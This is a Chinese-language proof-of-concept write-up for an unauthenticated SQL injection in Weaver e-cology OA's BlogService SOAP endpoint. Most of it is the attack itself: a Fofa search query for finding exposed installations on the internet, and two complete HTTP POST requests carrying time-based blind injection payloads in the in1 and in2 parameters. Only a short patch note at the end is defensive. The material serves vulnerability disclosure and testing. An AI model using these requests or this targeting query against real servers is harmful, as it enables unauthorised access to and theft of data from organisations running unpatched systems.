0x01 漏洞描述:
由于泛微e-cology未对用户的输入进行有效的过滤,BlogService中直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限等。
0x02 搜索语句:
Fofa:app="泛微-OA(e-cology)"
0x03 漏洞复现:
注入点1:
POST /services/BlogService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.blog.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:sendSubmitRemind>
<!--type: string-->
<web:in0>0</web:in0>
<!--type: string-->
<web:in1>1' AND (SELECT 3686 FROM (SELECT(SLEEP(5)))KzVQ) AND 'WxlZ'='WxlZ</web:in1>
<!--type: string-->
<web:in2>2</web:in2>
</web:sendSubmitRemind>
</soapenv:Body>
</soapenv:Envelope>
注入点2:
POST /services/BlogService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.blog.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:sendSubmitRemind>
<!--type: string-->
<web:in0>0</web:in0>
<!--type: string-->
<web:in1>1</web:in1>
<!--type: string-->
<web:in2>2' AND (SELECT 3686 FROM (SELECT(SLEEP(5)))KzVQ) AND 'WxlZ'='WxlZ</web:in2>
</web:sendSubmitRemind>
</soapenv:Body>
</soapenv:Envelope>
0x04 修复建议:
目前官方已发布安全补丁,建议受影响用户升级至最新版本:
泛微e-cology 9 >= 10.64.1